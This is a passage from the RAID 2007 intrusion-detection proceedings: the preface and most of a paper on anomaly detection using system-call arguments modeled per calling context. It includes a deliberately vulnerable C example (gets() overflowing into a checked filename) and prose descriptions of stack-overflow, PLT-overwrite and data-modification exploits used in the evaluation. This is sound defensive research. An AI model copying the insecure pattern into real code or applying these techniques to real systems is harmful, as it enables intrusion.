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Preface

On behalf of the Program Committee, it is our pleasure to present the proceed-
ings of the 10th Symposium on Recent Advances in Intrusion Detection (RAID
2007), which took place in Queensland, Australia, September 5–7, 2007. As in
every year since 1998, the symposium brought together leading researchers and
practitioners from academia, government, and industry to discuss intrusion de-
tection research and practice.

This year, the RAID Program Committee received 101 paper submissions
from all over the world. All submissions were carefully reviewed by at least
three members of the Program Committee and judged on the basis of scientific
novelty, importance to the field, and technical quality. The final selection took
place at the Program Committee meeting held in Oakland, USA, May 22–23,
2007. Sixteen full papers and one short paper were selected for presentation
and publication in the conference proceedings, placing RAID among the most
competitive conferences in the area of computer security.

A successful symposium is the result of the joint effort of many people. In
particular, we would like to thank all the authors who submitted papers, whether
accepted or not. We also thank the Program Committee members and additional
reviewers for their hard work in evaluating submissions. In addition, we want to
thank the General Chair, George Mohay, for handling the conference arrange-
ments, Rei Safavi-Naini for publicizing the conference, Andrew Clark for putting
together the conference proceedings, and Ming-Yuh Huang for finding sponsor
support.

Finally, we extend our thanks to Northwest Security Institute, SAP, and
CERT at the Software Engineering Institute, Carnegie Mellon University for
their sponsorship and support.

September 2007 Christopher Kruegel
Richard Lippmann

Andrew Clark
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Exploiting Execution Context
for the Detection of Anomalous System Calls

Darren Mutz, William Robertson, Giovanni Vigna, and Richard Kemmerer

Computer Security Group
Department of Computer Science

University of California, Santa Barbara
{dhm,wkr,vigna,kemm}@cs.ucsb.edu

Abstract. Attacks against privileged applications can be detected by
analyzing the stream of system calls issued during process execution.
In the last few years, several approaches have been proposed to detect
anomalous system calls. These approaches are mostly based on modeling
acceptable system call sequences. Unfortunately, the techniques proposed
so far are either vulnerable to certain evasion attacks or are too expensive
to be practical. This paper presents a novel approach to the analysis of
system calls that uses a composition of dynamic analysis and learning
techniques to characterize anomalous system call invocations in terms
of both the invocation context and the parameters passed to the system
calls. Our technique provides a more precise detection model with respect
to solutions proposed previously, and, in addition, it is able to detect
data modification attacks, which cannot be detected using only system
call sequence analysis.

Keywords: Intrusion Detection, System Call Argument Analysis, Exe-
cution Context.

1 Introduction

A recent thrust of intrusion detection research has considered model-based de-
tection of attacks at the application level. Model-based systems operate by com-
paring the observed behavior of an application to models of normal behavior,
which may be derived automatically via static analysis [8,23] or learned by ana-
lyzing the run-time behavior of applications [3,5,12,18,15]. In each case, attacks
are detected when observed behavior diverges in some respect from the normal
behavior captured by the model. In contrast to misuse-based approaches, where
the analysis identifies attacks against applications using patterns of known ma-
licious actions, model-based schemes have the advantage of being able to detect
novel attacks, since attacks are not explicitly represented by the system. We
note that this advantage typically comes at the cost of performance, precision,
and explanatory capability, three properties that misuse-based approaches often
achieve very well.

Most model-based intrusion detection systems monitor the sequence of sys-
tem calls issued by an application, possibly taking into account some execution
state. For example, the system described in [3] monitors pairs of system calls

C. Kruegel, R. Lippmann, and A. Clark (Eds.): RAID 2007, LNCS 4637, pp. 1–20, 2007.
c© Springer-Verlag Berlin Heidelberg 2007
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1 void write_user_data(void)
2 {
3 FILE *fp;
4 char user_filename[256];
5 char user_data[256];
6

7 gets(user_filename);
8

9 if ( privileged_file(user_filename)) {
10 fprintf (stderr , "Illegal �filename .�Exiting .\n");
11 exit(1);
12 }
13 else {
14 gets(user_data); // overflow into user_filename
15

16 fp = fopen(user_filename , "w");
17

18 if (fp) {
19 fprintf (fp , "%s", user_data);
20 fclose(fp);
21 }
22 }
23 }

Fig. 1. Sample data modification attack

and records the application’s stack configuration (that is, part of the history
of function invocations). During the detection phase, the system checks if the
observed pairs of system calls (and their associated stack configuration) match
pairs recorded during the learning period. The systems described in [8] and [23]
check call sequences against automata-based models derived from the applica-
tion’s source code or binary representation, and identify sequences that could
not have been generated by the model.

Some of the shortcomings of sequence-based approaches were discussed in [2],
where the problems of incomplete sensitivity and incomplete sets of events were
introduced. Incomplete sensitivity affects models derived from static analysis.
Due to the limitations of static analysis techniques, these models may accept
impossible sequences of system calls (for example because branch predicates are
not considered).

The problem of incomplete sets of events is more general, and it affects all
approaches based on system call sequences. This problem stems from the fact
that, in these systems, the manifestation of an attack must be characterized in
terms of anomalies in the order in which system calls are executed. Changes in
the ordering of system call invocations occur, for example, because foreign code
is injected into the application (such as through a buffer overflow) or because
the order in which instructions are executed is modified. Therefore, by modeling
system call sequences, these approaches implicitly restrict themselves to only
detecting attacks that modify the execution order as expressed by the appli-
cation’s code or by the execution histories observed during a training period.
Unfortunately, an attacker can successfully compromise an application’s goals
by modifying the application’s data without introducing anomalous paths in the
application’s execution.

Consider, for example, the procedure write user data in Figure 1. Here, an
overflow of the variable user data at line 14 allows an attacker to overwrite the
value contained in user filename, which the application assumes was checked
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by the procedure invoked at line 9. Therefore, the attacker can leverage the
overflow to append data of her choice to any file the application has access to.
Note that the execution of this data modification attack does not affect the type
or ordering of the system calls issued by the application.

To detect data modification attacks, models must include some representa-
tion of valid or normal program state. For example, prior work in [11] and [12]
uses learning models to characterize “normal” system call argument values and
to demonstrate that changes to program state as a result of an attack often
manifest themselves as changes to the argument values of system calls. The as-
sumption underlying this approach is that the goal of the attacker is to leverage
the privileges of an application to change some security-relevant state in the un-
derlying system (e.g., write chosen values to a file, execute a specific application,
or change the permissions of a security-critical file). This type of activity may
be readily observed as suspicious system call argument values.

One limitation of the argument modeling approach in [11], [12], and [15] is that
models of normal argument values are built for each system call. That is, one set of
models is created for open, another set for execve, and so on. As a result, a model
captures the full range of argument values observed during all phases of the exe-
cution of an application. A better approach would be to train the models in a way
that is specific to individual phases of a program’s execution. For example, the
arguments used during a program’s initialization phase are likely to differ from
those used during a production phase or termination phase. This can be achieved
by differentiating program behavior using the calling context of a procedure – that
is, the configuration of the application’s call stack when a procedure is invoked.
Similar techniques have been explored in the programming languages literature.
Examples include improving profiling by considering a procedure’s calling con-
text [1], analyzing pointer variables more accurately [9], and improving lifetime
predictions of dynamically allocated memory [16]. A common observation in these
approaches is that the calling context of a procedure is often a powerful predictor
of how the procedure and its data interact.

In this paper, we first propose and evaluate a metric for determining to what
extent argument values are unique to a particular call stack for a given appli-
cation. Our study, presented in Section 2, shows that this is predominantly the
case, indicating that the argument modeling approach of [12] can be made more
precise if models are built for each calling context in which a system call is issued
by an application. Armed with this knowledge, we then introduce and evaluate a
model-based detection system that builds separate argument models for each call
stack in which an application issues a system call. Our experiments demonstrate
that the trained models effectively generalize from the training data, performing
well during a subsequent detection period.

This paper makes the following primary contributions:

– It analyzes the relationship between system call arguments and different
calling contexts, and it introduces a novel metric to quantify the degree to
which argument values exhibit uniqueness across contexts.

– It demonstrates that the application’s call stack can be leveraged to add
context to the argument values that appear at the system call interface. It
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also demonstrates that the increased sensitivity of context-specific argument
models results in better detection performance.

– It defines a technique to detect data modification attacks, which are not
detected by previously proposed approaches based on system call sequences.

– It presents an extensive real-world evaluation encompassing over 44 million
system call invocations collected over 64 days from 10 hosts.

The remainder of the paper is structured as follows. In Section 2 we introduce
and apply a metric to characterize the degree to which system call argument
values are unique to calling contexts in which system calls are issued. Then, in
Section 3, we present our detection approach, which builds argument models that
are specific to each calling context. Section 4 reports the results of evaluating the
system empirically. Section 5 covers related work on system call-based anomaly
detection. Finally, Section 6 draws conclusions and outlines future work.

2 System Call Argument and Calling Context Analysis

The effectiveness of system call analysis that includes call stack information is
directly related to the number of contexts in which a given argument value asso-
ciated with the invocations of a particular system call occurs. More specifically, if
argument values appear in many contexts, essentially randomly, context-specific
learning models are likely to offer no benefit. Furthermore, if each observed ar-
gument value appears (possibly multiple times) in only one context, we would
expect system call argument analysis that includes call stack information to
outperform context-insensitive models. In this section, we propose a metric to
express the degree of context-uniqueness of argument values. We then use this
metric to determine which applications are likely to be amenable to system call
analysis that takes into account stack-specific behavior.

Before introducing our context-uniqueness metric, we need to define some
notation. Let S = {s1, s2, . . .} be the set of monitored system calls, and let Asi =
〈Asi

1 , . . . , Asi
n 〉 be the vector of formal arguments for system call si. Consistent

with [6], we define the calling context of a system call invocation as the sequence
of return addresses C = 〈r1, . . . , rl〉 stored on the application’s call stack at the
time the system call invocation occurs. Each invocation sij of si has a concrete
vector of values for Asi defined as asij = 〈asij

1 , . . . , a
sij
n 〉, and two argument

vectors asij and asij′ are considered distinct if any of their subvalues a
sij

l and
a

sij′
l differ.
We are interested in the set of argument vectors appearing in the invocation

of a system call in a particular context. For this, we introduce the notion of
an argument set. An argument set for a system call si in a context C is the
set of all argument vectors asij observed for the chosen system call when it is
issued in the calling context C. This is denoted by AS(C, si). The argument set
for si across the entire application (i.e., ignoring the calling context) is denoted
by AS(∗, si). We observe that if the set AS(∗, si) is partitioned by the subsets
{AS(C1, si), AS(C2, si), . . .}, then each recorded argument vector asi occurs in
only one calling context.
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One potential route in the development of this metric would be to adapt clus-
ter quality measures from the machine learning literature. Unfortunately, com-
puting the distance between two argument vectors asij and asij ′ is problematic.
For example, integer arguments that exhibit numeric similarity are often dissim-
ilar in their semantic meaning. This occurs in cases where an integer argument is
the logical OR of a collection of boolean flags. Computing string similarity also
presents difficulties. For example, two filesystem paths may have large common
substrings or a small Hamming distance, but correspond to files that have a
very different meaning to the users of the system. For these reasons, we build
our metric using argument vector equality only.

With this in mind, we would like to determine the number of contexts where
each distinct argument vector is used. To measure this we define the actual
partitioning value AP (si), which is the sum over all recorded concrete argument
vectors of the number of argument sets where each asij appears during the period
of monitoring. That is,

AP (si) =
K∑

j=1

L∑

m=1

| {asij } ∩ AS(Cm, si) | (1)

where K is the number of distinct argument vector values recorded, and L is the
number of distinct stack configurations observed during the monitoring period.

For our context-uniqueness metric, we would like to compare the actual par-
titioning value to both the optimal partitioning and the worst case partitioning
values. For the optimal case, each argument vector should appear in as few con-
texts as possible. There are two cases to consider. In the case where the number
of distinct argument vectors is greater or equal to the number of calling con-
texts (K ≥ L), each argument value appears in only one context in the optimal
partition of AS(∗, si). For the case when K < L, some argument vectors must
appear in more than one context1. The optimal partitioning, in this case, is for
each concrete argument vector to appear in L/K argument sets. Both cases can
be expressed by specifying the number of argument sets where each argument
vector is to appear as max(L/K, 1).

We can now define the optimal partitioning value and the worst case parti-
tioning value. Since there are K distinct argument vector values, the optimal
partitioning value OP (si) is defined as:

OP (si) = K ∗ max(L/K, 1) = max(L, K) (2)

To define the worst case, we need to know how many instances of each of the K
distinct argument vectors asij ∈ AS(∗, si) were recorded during the monitoring
period. We define the counter cntasij as the number of times that a partic-
ular argument vector asij occurs in the recorded invocations. The worst case
partitioning is determined by distributing each of the K argument vectors in
AS(∗, si) over as many contexts as possible. Although asij can appear a maxi-
mum of cntasij times, there are only L distinct contexts. Therefore, asij appears
1 If each distinct value appeared in only one context, then there would be contexts

with no argument vectors.
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in min(cntasij , L) argument sets in the worst case partitioning. Thus, the worst
case partitioning value WP is defined as:

WP (si) =
K∑

j=1

min(cntasij , L) (3)

Now that we have the actual partitioning value, the optimal partitioning value,
and the worst case partitioning value, we can define a measure of the partition
quality Q(si) for a system call si. Q(si) is defined as the ratio of the difference
between the actual and optimal partitioning to the difference between the worst
case and optimal partitioning:

Q(si) =
AP (si) − OP (si)
WP (si) − OP (si)

Since the actual partitioning AP (si) must fall between WP (si) and OP (si),
Q(si) takes on values in the interval [0, 1] with 0 being the highest quality par-
titioning (i.e., no difference from the optimal case) and 1 being the worst (i.e.,
no difference from the worst case partitioning). In the special case where there
is no difference between WP (si) and OP (si), we define Q(si) to be 1.

Table 1. Observed argument sets for a fictional system call foo(char *pathname) in
three different calling contexts, C1, C2, and C3

Context Observed argument set
C1 AS(C1, sfoo) = {"/tmp/a", "/tmp/b", "/tmp/c"}
C2 AS(C2, sfoo) = {"/tmp/a"}
C3 AS(C3, sfoo) = {"/tmp/a"}

Consider the example shown in Table 1, which gives observed argument values
for a fictional system call foo(char *pathname) for L = 3 different calling con-
texts, C1, C2, and C3. Further, suppose that each argument appears 3 times dur-
ing the period of monitoring, that is, cntas(foo)j = 3 for each of the three s(foo)j .
Since the concrete argument vector 〈"/tmp/a"〉 appears in all three contexts and
the argument vectors 〈"/tmp/b"〉 and 〈"/tmp/c"〉 appear in one context each,
the actual partitioning AP (sfoo) is:

AP (sfoo) = (1 + 1 + 1) + (1 + 0 + 0) + (1 + 0 + 0) = 5 (4)

Because L = K = 3, the optimal partitioning for sfoo is

OP (sfoo) = max(3, 3) = 3 (5)

and the worst case partitioning for sfoo is

WP (sfoo) = min(3, 3) + min(3, 3) + min(3, 3) = 9 (6)

Combining the actual, optimal, and worst case partitioning, we have the follow-
ing measure of the overall quality of the partitioning for sfoo:

Q(sfoo) =
5 − 3
9 − 3

= 1/3 (7)
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To evaluate our quality metric, we selected 9 root-owned services and pe-
riodic (cron) applications running in a production setting on 10 servers in an
undergraduate computer science lab. The 9 audited programs were chosen from
a larger pool of processes that run with root privileges in the following way.
First, no interactive command line executables were evaluated since they appear
sporadically and generate a relatively small number of audit records. For similar
reasons, 8 periodic and daemon processes were removed from the study because
they did not appear frequently enough in the audit set to produce a meaning-
ful evaluation. Second, script language interpreters (e.g., Perl and Python) were
removed since programs implemented in those languages execute with a virtu-
alized call stack. Next, 6 processes associated with the X11 windowing system
were eliminated because their role in the system is primarily to facilitate graph-
ical interaction with the user. Finally, 5 programs associated with the package
management and compilation subsystem were eliminated because they have a
peripheral role with respect to the security of the system.

Table 2 shows the mean and standard deviation of Q values across 36 security-
critical system calls issued by each of the 9 programs over a 10-day period.
Section 3.1 specifies the monitored system calls and provides further justification
for their inclusion in the study. Table 2 tabulates the average (μ) and standard
deviation (σ) of Q across each of the 36 system calls (denoted Q(s∗)). The
data shows that the values of Q recorded for a collection of real applications
in a production setting are optimal in 3 of 9 cases, and are never greater than
0.169. This suggests that including call stack information in system call argument
analysis is likely to produce models that outperform those that do not consider
execution context.

Table 2. Mean and standard deviation of Q over all system calls for the nine applica-
tions in the study

Application Q(s∗) μ Q(s∗) σ

cfenvd 0.038 0.066
cfexecd 0.107 0.191
crond 0.000 0.000
cupsd 0.085 0.159
idmapd 0.000 0.000
sendmail 0.093 0.194
slocate 0.169 0.379
sshd 0.168 0.218
ypbind 0.000 0.000

Overall 0.063 0.209

3 System Design

The empirical evaluation of context-sensitivity in the previous section showed
that system call arguments are often uniquely associated with specific calling
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context in real-world applications. Therefore, we developed an intrusion detec-
tion system that takes advantage of this property. Our approach uses a collec-
tion of context-specific learning models that operate in three distinct phases.
The first two phases consist of a training phase and a threshold learning phase,
during which learning is performed on attack-free audit data. In the training
phase, models gather examples of normal system call arguments. At the end of
this phase, detection models are generated for use in the two subsequent phases.
Following the training phase is the threshold learning phase, where thresholds
are computed for the finalized models by measuring their response to attack-free
data. In the final detection phase, the trained models and thresholds are used
together to classify events as normal or anomalous.

In the following, we describe feature selection and the context-specific model-
ing approach in Section 3.1. Then, in Sections 3.2 through 3.4, we describe the
three phases of system operation. Finally, Section 3.5 provides details about the
audit collection infrastructure.

3.1 Feature Selection and the Context-Specific Modeling Approach

Experience shows that evidence of attacks often appears in the argument values
of system calls. Sometimes this may be due to “collateral damage” to local (stack)
variables when overwriting a return address. In these cases, damaged variables
are then used in system call invocations before the procedure returns. In other
cases, the attack is leveraging the privileges of the application to perform actions
that are not normally performed by the victim program. In many instances, these
differences can be identified by argument models.

To determine the set of system calls to use for our analysis, we studied the 243
system calls implemented in the version 2.6.10 of the Linux kernel to determine
which additional calls represent avenues to leveraging or increasing the privilege
of applications. This study identified 36 system calls, shown in Table 3, that
we found should be monitored to detect attempts to compromise the security
of a host. Note that in our system only arguments that have intrinsic semantic
meaning are modeled. Integer arguments corresponding to file descriptors and
memory addresses, for example, are ignored, since their values are not meaning-
ful across runs of an application. Additionally, these values rarely contain any
semantic information about the operation being performed.

In order to leverage the context information provided by the application’s call
stack at the time a system call is invoked, we instantiate detection models for
each calling context encountered during the training phase. We rely on audit
records that are composed of two parts: (a) the system call si that was invoked,
along with its arguments asij = 〈asij

1 , . . . , a
sij
n 〉, and (b) the sequence of return

addresses gathered from the application’s call stack when the system call was
invoked. These addresses form the system call’s context C = 〈r1, . . . , rl〉. In all
three phases (training, thresholding, and detection), the pair 〈C, si〉 is used as a
lookup key in a data structure that maintains the collection of context-specific
models and thresholds.
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Table 3. The 36 system calls monitored by the system

open creat link unlink
execve mknod chmod mount
umount rename mkdir rmdir
umount2 symlink truncate uselib
ftruncate fchmod ioperm iopl
ipc mprotect create module prctl
capset lchown setreuid setregid
fchown setresuid setresgid chown
setuid setgid setfsuid setfsgid

3.2 Training Phase

The first phase of system operation is training, during which the audit records
received by the audit daemon are used as examples of normal behavior to
train context-specific argument models. This approach improves upon prior work
([12]), which did not consider execution context, but instead applied the same ar-
gument model instantiations to all invocations of a particular system call issued
by an application.

We now describe the individual argument models used to characterize normal
values for system call arguments. The models are described in substantial detail
in our previous work; the reader is referred to [12] and [14] for information
beyond the brief descriptions provided here.

The following three models are applied to string arguments:

– String Length: The goal of the string length model is to approximate the
actual (but unknown) distribution of the lengths of string arguments and to
detect instances that significantly deviate from the observed normal behav-
ior. Usually, system call string arguments represent canonical file names that
point to an entry in the file system. These arguments are commonly used
when files are accessed (open, stat) or executed (execve), and their lengths
rarely exceed a hundred characters. However, when malicious input is passed
to programs, this input often occurs in an argument of a system call with
a length of several hundred bytes. The detection of significant deviations is
based on the Chebyshev inequality.

– String Character Distribution: The string character distribution model cap-
tures the concept of a normal string argument by looking at its character
distribution. The approach is based on the observation that strings have
a regular structure, are often human-readable, and almost always contain
only printable characters. In the case of attacks that send binary data, a
completely different character distribution can be observed. This is also true
for attacks that send many repetitions of a single character (e.g., the nop-
sledge of a buffer overflow attack). The detection of deviating arguments
is performed using a statistical test (Pearson χ2-test) that determines the
probability that the character distribution of a system call argument fits the
normal distribution established during the training phase.

– String Structural Inference: Often, the manifestation of an exploit is immedi-
ately visible in system call arguments as unusually long strings or strings that
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contain repetitions of non-printable characters. There are situations, how-
ever, when an attacker is able to craft her attack in a manner that makes
its manifestation appear more regular. For example, non-printable charac-
ters can be replaced by groups of printable characters. In such situations,
we need a more detailed model of the system call argument. Such a model
can be acquired by analyzing the argument’s structure. For the purposes
of this model, the structure of an argument is the regular grammar that
describes all of its normal, legitimate values. The process of inferring the
grammar from training data is based on a Markov model and a probabilistic
state-merging procedure. The details are presented in [21] and [22].

The fourth model can be used for all types of system call arguments:

– Token Finder: The purpose of the token finder model is to determine whether
the values of a certain system call argument are drawn from a limited set
of possible alternatives (i.e., they are elements or tokens of an enumera-
tion). An application often passes identical values such as flags or handles to
certain system call arguments. When an attack changes the normal flow of
execution and branches into maliciously injected code, these constraints are
often violated. The decision whether to identify the set as an enumeration or
a collection of random identifiers can be made utilizing a simple statistical
test, such as the non-parametric Kolmogorov-Smirnov variant, as suggested
in [13].

In prior work ([12]), models were instantiated for each system call (e.g., open,
execve). As we noted, in this paper models have been replicated for each calling
context C. In this way, when the audit daemon is operating in the training phase,
aggregate model instances are trained on the observed argument set AS(C, si).

3.3 Threshold Learning Phase

In our design, an aggregate model is used to associate a set of models with each
system call. The task of an aggregate model is to combine the outputs of all
models that are associated with a system call into a single anomaly score that
is used to assess whether the entire system call is normal or not. As in [12],
we sum the negative logarithm of the individual model outputs to produce one
score, which is then compared to a threshold (described below) to determine
whether or not an alert should be generated for the system call.

At the start of the threshold-learning phase, training ceases and all models
instantiated by the system are switched to detection mode. Each event in the
(attack-free) threshold learning set is then assigned an anomaly score by the
aggregate model specific to its system call si and context C. The threshold for
the aggregate model associated with the pair (C, si) is computed by adding
20% to the maximum anomaly score generated by the aggregate model over the
threshold training set.

Using a context-specific characterization allows thresholds to be independent
of one another, permitting some thresholds to be “loose” and others to be “tight”.
For example, in one context where there are a large number of training examples,
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models might characterize the context’s features virtually flawlessly implying a
very tight threshold for that context. In another context that appears far less
frequently in the training set, the instantiated models may have a more coarse
approximation of the feature values, resulting in a relatively loose threshold.

3.4 Detection Phase

When an audit record is received during the detection phase, the system first
checks if the context and system call pairing associated with it (that is, 〈C, s〉)
has been observed during the training period. If the pairing was not recorded
during the training phase, the system issues an alert. For pairings that were
observed during the training phase, the system uses the values for C and s to
look up the aggregate model that was created during training, uses the model to
evaluate the argument values contained in the audit record, and issues an alert
if the resulting score exceeds the threshold associated with 〈C, s〉.

3.5 Auditing Subsystem

This section provides details of the implementation used for the evaluation of the
system. The system described in this paper is composed of two modules: a kernel-
resident audit module that records system call invocations and the application
calling context in which they appear, and a user-space audit daemon that devel-
ops models of system call argument values using machine learning techniques.
The two components communicate via an entry in the proc filesystem.

Both the learning and detection phases require a stream of system call invoca-
tion events. System call event auditing is accomplished using an implementation
based on the Snare audit module, which is an existing loadable kernel module
written for the Linux operating system by Intersect Alliance [20]. This mod-
ule intercepts system calls through the use of system call interposition, which
is realized by overwriting the kernel’s table of function pointers to system calls
with pointers to wrapper functions. These wrapper functions generate an audit
record prior to calling the original system call and before returning its result.
To realize the goals of this project, several significant changes were made to the
Snare module:

User stack unwinding. When audited system calls are invoked, in addition
to recording the arguments to the system call, the user’s memory space is
probed iteratively to unwind the frames stored on the user application’s
stack. This process is very similar to the one followed by a debugger as it
recovers the stack frames from the memory of a running application.

Virtual addresses encountered on the user’s stack are matched against
the memory-mapped address ranges maintained in the process control block.
When a matching address range is found, the stack address is normalized
by subtracting the starting address of the memory-mapped region, and the
module records the normalized address along with the i-node of the file
containing the memory mapped code. In this way, address consistency is
maintained across runs of an application, or in the face of dynamic loading
and unloading of code by the application.
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Signaling of user audit daemon replaced with support for blocking
reads. The original version of the Snare audit module delivered a signal to
the audit daemon each time an event was generated. This created perfor-
mance problems during periods of high load, which were often accompanied
by a high volume of audit data. Our version uses a kernel wait queue, which
avoids signal storms during periods of heavy load.

4 Empirical Validation

The purpose of this empirical study is to investigate the impact of considering
the calling context of system calls on the detection capability of the system. The
evaluation consists of three parts. Section 4.1 compares context-specific models
to context-insensitive models with respect to the generation of false positives.
Next, Section 4.2 addresses the question of whether context-specific models offer
an improvement in precision over context-insensitive models. Section 4.3 evalu-
ates the ability of the system to detect real attacks launched against two moni-
tored applications. Finally, Section 4.4 quantifies the computational overhead of
context-sensitive monitoring.

4.1 Comparing Context-Sensitive and Context-Insensitive
Argument Models

Since models trained specific to particular calling contexts occurring in an appli-
cation have a smaller, more restrictive set of training examples, they potentially
suffer from the drawback of being too sensitive to variations in argument values
observed during the detection phase. Therefore, it is critical to determine their
false positive rate relative to context-insensitive argument models.

In order to quantify the rate of false positives observed in practice in each
case, we collected audit data on root-owned daemons and periodic (cron) appli-
cations running on 10 hosts in an undergraduate computer science instructional
laboratory over a period of 64 days. During the recorded period, each of the hosts
were accessed regularly by approximately 100 unique users (administrators and
undergraduate users) who interacted with the system in local X11 sessions in

Table 4. False positive rates for models that do not consider calling context

Application Total Events False Positives False Positive Rate

cfenvd 11,918,468 0 0.00 × 10+00

cfexecd 457,812 4,407 9.63 × 10−03

crond 1,265,345 0 0.00 × 10+00

cupsd 291,022 1,942 6.67 × 10−03

idmapd 57,316 2,962 5.17 × 10−02

sendmail 5,514,158 1,559 2.97 × 10−04

slocate 11,914,501 155 1.30 × 10−05

sshd 13,347,164 1,931 1.45 × 10−04

ypbind 30,268 0 0.00 × 10+00

Overall 44,796,054 12,956 2.89 × 10−04
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Table 5. False positive rates using context-sensitive models

Application Total Events Unknown Context Model Violation Overall FP Rate
Alarms Alarms

cfenvd 11,918,468 21 0 1.76 × 10−06

cfexecd 457,812 1,007 31 2.27 × 10−03

crond 1,265,345 0 0 0.00 × 10+00

cupsd 291,022 6 252 8.87 × 10−04

idmapd 57,316 0 0 0.00 × 10+00

sendmail 5,514,158 1,122 154 2.31 × 10−04

slocate 11,914,501 0 183 1.54 × 10−05

sshd 13,347,164 379 1,705 1.56 × 10−04

ypbind 30,268 0 0 0.00 × 10+00

Overall 44,796,054 2,535 2,325 1.09 × 10−04

addition to remote logins. The recorded audit data was checked for known at-
tacks and is, to the authors’ knowledge, free of attacks. We also tracked publicly
released vulnerabilities on security mailing lists and noted no vulnerabilities in
the monitored software. In all cases, the system was trained and evaluated using
data collected at each host. In the interest of conciseness, however, detection
performance is reported in aggregated form (i.e., measurements are combined
from all 10 hosts used in the study).

Of the 64 days of recorded audit data, the first 39 days were used for training
the argument models. Thresholds were computed using the following 7 days of
audit data, and detection was performed on the final 18 days. The false positives
produced by the system for context-insensitive models (i.e., models that ignore
calling context) are shown in Table 4, and Table 5 summarizes the false positive
rates for context-sensitive models. Separate figures are given for alarms generated
for unknown contexts (i.e., contexts that were not seen during the training phase)
as well as for alarms generated from anomalous model scores.

From the tabulated data, it is clear that the overall false positive rates of
context-sensitive models outperform context-insensitive models by a factor of
about 2.7. Further inspection of the 1,007 unknown context alarms for the
cfexecd application revealed that they were repeated instances of alarms for
40 contexts that did not appear in the training data. Additionally, all 1,122 un-
known context alarms issued for the sendmail application, and 348 of 379 of the
alarms issued for sshd each occurred on a single day. This suggests that it would
be straightforward for an administrator to add these contexts to the known set
and eliminate future instances of those alarms. Taken together, unknown context
and model violation alarms represent an average of 34 alarms per application
per day. This is a relatively manageable number, and post-processing tools could
likely improve this figure by summarizing duplicate alarms [17].

Table 5 shows a large number of model violation alarms (1,705) for the sshd
application. Further analysis showed that 652 (more than 38%) of those viola-
tions were triggered by models for the setresuid system call. These anomalous
calls were the result of users that had not been observed during the training period
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logging into the system. In an academic computer network, this level of irregular
user behavior can be expected. However, on more sensitive networks, these alarms
could be valuable indicators of misuse or misconfiguration of login policies.

4.2 Cross-Comparison of Context-Specific Models

Section 2 proposed the metric Q for quantifying the degree to which argument
values are unique across the various execution contexts in which a particular
system call occurs. The experiment described in this section is intended to further
validate the context-specific detection approach. The experiment performs cross-
comparison of context-sensitive models for system calls si on events drawn from
all contexts C in which si occurs. Whereas Q measured the extent to which
the observed argument sets (ASs) are disjoint, this experiment is designed to
measure the extent to which learned context-specific models are able to capture
these differences.

To show this, the models are trained for each context exactly as described in
Section 4.1, but each system call is evaluated not only on the model for its native
context, but on all non-native models as well. If context-specific models capture
context-specific features, we would expect events to be classified as normal in
their native context and as anomalous in all other contexts.

Table 6. Cross-comparison of context-sensitive models. Rate of false positives for
events in native and non-native contexts are shown.

Application Native FP rate Non-native FP rate

cfenvd 0.000 × 10+00 0.967
cfexecd 6.771 × 10−05 0.877
crond 0.000 × 10+00 1.000
cupsd 8.660 × 10−04 0.947
idmapd 0.000 × 10+00 1.000
sendmail 2.793 × 10−05 0.933
slocate 1.536 × 10−05 0.974
sshd 1.277 × 10−04 0.855
ypbind 0.000 × 10+00 1.000

Average 1.105 × 10−04 0.950

Table 6 shows that context-sensitive models are, in the vast majority of cases,
able to correctly classify events as belonging or not belonging to the context for
which the model was trained. This evidence supports three conclusions. First, the
calling context of system calls is a strong predictor of the subclass of argument
values observed at the system call interface for a number of applications in a
real-world, operational setting. Second, learning models are able to capture this
differentiated behavior. Finally, the results suggest that context-specific mod-
els capture a more restricted range of behavior than context-insensitive mod-
els. This implies that context-sensitive models restrict the number of options
that an attacker has to influence the arguments of system calls while avoiding
detection.
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4.3 Measuring the Detection Capability of Call Stack-Specific
Argument Models

Source code and binary audits were performed for the 9 services and application
used in our study, but no vulnerabilities were found. Therefore, in order to
measure the attack detection capability of call stack-specific argument models,
we tested the system using attacks on a proprietary setuid application as well
as on an Apache web server. Following is a description of the attacks and the
corresponding detection performance of the system.

Proprietary setuid Application. An experiment was conducted on a setuid
root application installed on the 10 audit hosts used in this study. The program
in question is a proprietary setuid root application written to allow students to
submit homework assignments to a class account for grading. While this program
is not a daemon or periodic job, an analysis of its binary revealed an exploitable
stack overflow vulnerability in a request logging function. This vulnerability
was used to test the detection capability of our system. The attack on this
program required circumventing the exec-shield, stack randomization, and heap
randomization protection mechanisms deployed on the monitored hosts. The
attack involved overwriting two stack variables: the current function’s return
address and the frame pointer. This caused the program to jump to an indirect
jump instruction through the modified frame pointer, transferring control to an
exploit payload previously injected in a buffer on the heap. This was necessary
in order to overcome the exec-shield and randomization protection mechanisms.
The results and analysis of the context-sensitive detection system’s sensitivity
to exploit payloads is discussed below.

Rootshell Exploit. The first exploit payload executed against the vulnerable
program was a simple shell execution with root privileges. Because the execve
system call was invoked from a context not previously observed during the train-
ing period, the context-sensitive detection system was able to distinguish the
system call invocation as anomalous and report an alert. The detection system
configured in context-insensitive mode, however, did not detect the execve call
as anomalous. This stems from the fact that both a file archiving utility and a
compression utility are spawned during the normal execution of the assignment
submission program, and thus the context-insensitive argument models on their
own were not sensitive enough to detect an anomaly based on the execve target
alone. A final observation of this scenario is that a sequence-based system call
IDS would have detected a deviation from the normal sequence of system calls,
and would have raised an alert.

Data Modification Exploit. The second exploit payload executed against the
assignment submission program was a variation of a data modification attack.
The objective of this exploit was to manipulate the logging of an assignment
submission such that the submitter and timestamp could be subverted with
attacker-supplied values. To accomplish this, the exploit payload first called
mprotect from a legitimate, in-sequence context to mark the code segments
of the process read/write. Since the stack was modified to hold a legitimate
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sequence of return addresses prior to calling mprotect, the program continued
executing native application code upon returning. In order to regain control for
the second part of the attack, a system library function pointer was overwritten
in the procedure linkage table (PLT). This type of attack is described in detail
in [10]. Changing the memory protection bits on the code segment of the pro-
gram allowed the statically defined format string that is used in the invocation
to fprintf to be overwritten. In this way, the attacker’s format string was used
in place of the legitimate one when the transaction was logged by the program.

A sequence-based system call IDS would not have detected an anomaly, as no
invalid or out-of-sequence system calls were invoked. In addition, the context-
insensitive argument models were not tight enough to detect an aberration in the
parameters to the system call mprotect. The context-sensitive detection system,
however, was able to detect the anomalous argument due to the more precise
argument modeling that included system call context.

Detecting Attacks Against OpenSSL. The final demonstration of the attack
detection capability of the system involved testing an off-the-shelf exploit for the
Apache web server running with a vulnerable version of OpenSSL, which is a
popular implementation of the Secure Sockets Layer (SSL) and Transport Layer
Security (TLS) protocols. This version of OpenSSL is vulnerable to a remote
